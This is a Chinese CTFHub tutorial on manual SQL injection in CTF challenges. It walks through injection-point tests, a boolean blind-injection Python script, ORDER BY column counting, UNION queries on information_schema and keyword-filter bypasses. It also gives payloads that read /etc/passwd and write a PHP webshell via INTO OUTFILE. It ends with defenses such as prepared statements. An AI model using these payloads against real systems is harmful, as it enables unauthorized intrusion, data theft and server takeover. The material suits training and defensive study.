CTFHub | 从零到一:手工SQL注入实战剖析

发布时间:2026/6/30 15:37:56
CTFHub | 从零到一:手工SQL注入实战剖析 1. 手工SQL注入入门指南第一次接触CTF比赛时看到SQL注入题目总有种无从下手的感觉。记得我当初在CTFHub上做第一道MySQL注入题整整卡了两天。后来才发现手工注入其实就像玩解谜游戏关键在于找到正确的线索和解题顺序。手工SQL注入是通过构造特殊输入让数据库执行非预期查询的技术。与自动化工具不同手工注入需要理解每一步的原理。比如输入1 and 11 --时实际执行的SQL语句会变成SELECT * FROM users WHERE id1 and 11 -- 这个简单的例子中--注释掉了原查询的剩余部分而and 11永远为真。如果页面正常显示说明我们的输入被当作SQL执行了。2. 注入点探测与确认2.1 初识注入点在CTFHub的题目中通常会给出一个带参数的URL比如http://example.com/?id1。我的习惯是先尝试以下测试输入id1观察是否报错输入id1 --看是否恢复正常尝试id1 and 11和id1 and 12最近遇到一个有趣的案例某次比赛中的页面在id1时报错但id1 --却返回空白。后来发现需要用#注释而不是--这就是不同数据库的语法差异。2.2 布尔盲注技巧当页面没有明显回显时可以尝试基于布尔的判断。比如id1 and substring(database(),1,1)a --通过逐个字符猜测数据库名。我通常会写个Python脚本自动化这个过程import requests charset abcdefghijklmnopqrstuvwxyz_ url http://example.com/?id1 and substring(database(),1,1){} -- for c in charset: r requests.get(url.format(c)) if content in r.text: # 根据实际页面特征调整 print(fFound: {c}) break3. 字段数与信息收集3.1 确定字段数量使用order by是最可靠的方法。我习惯从order by 10开始二分查找?id1 order by 10 -- # 报错 ?id1 order by 5 -- # 报错 ?id1 order by 3 -- # 报错 ?id1 order by 2 -- # 正常最近发现MariaDB 10.3版本对order by的处理有些变化有时需要尝试group by作为替代。3.2 信息收集三板斧知道字段数后就可以用union查询获取信息版本信息id-1 union select 1,version(),3 --数据库名id-1 union select 1,database(),3 --表信息id-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schemadatabase() --提示遇到group_concat长度限制时可以用substring(group_concat(...),1,50)分段获取4. 高级注入技巧实战4.1 绕过过滤的奇技淫巧很多CTF题目会过滤常见关键词。有次比赛过滤了select我用了以下几种方法大小写混合SeLeCt内联注释/*!select*/字符编码%53%45%4C%45%43%54(SELECT的URL编码)最有趣的是用join绕过id-1 union select * from (select 1)a join (select database())b --4.2 文件操作与OS交互在MySQL中如果权限足够可以读写文件# 读取服务器文件 id-1 union select 1,load_file(/etc/passwd),3 -- # 写入webshell id-1 union select 1,?php system($_GET[cmd]); ?,3 into outfile /var/www/html/shell.php --注意实际CTF比赛中未经授权的文件操作可能违反规则务必确认题目允许范围5. CTFHub实战案例解析以最近CTFHub的一道题为例完整流程如下输入?id1触发报错确认存在注入order by 2正常order by 3报错确定2个字段使用联合查询id-1 union select 1,group_concat(table_name) from information_schema.tables where table_schemadatabase() --获取表名users,config爆出config表的列名id-1 union select 1,group_concat(column_name) from information_schema.columns where table_nameconfig --发现flag,value两列最终获取flagid-1 union select 1,flag from config --这个过程中最耗时的部分是猜解表名。后来发现可以先查询information_schema.tables获取所有表名而不是盲目猜测。6. 防御措施与练习建议虽然我们学习注入是为了CTF比赛但了解防御同样重要。推荐几种防护方法预处理语句$stmt $pdo-prepare(SELECT * FROM users WHERE id ?); $stmt-execute([$id]);最小权限原则数据库用户只赋予必要权限Web应用防火墙(WAF)规则配置对于想提升技术的朋友我建议从DVWA、WebGoat等漏洞练习平台开始定期参加CTF比赛积累经验阅读MySQL官方文档了解特性搭建自己的测试环境反复练习手工SQL注入就像侦探破案需要耐心和细心。每次遇到新题型都是学习的机会记录下解题过程并复盘技术就会不断提升。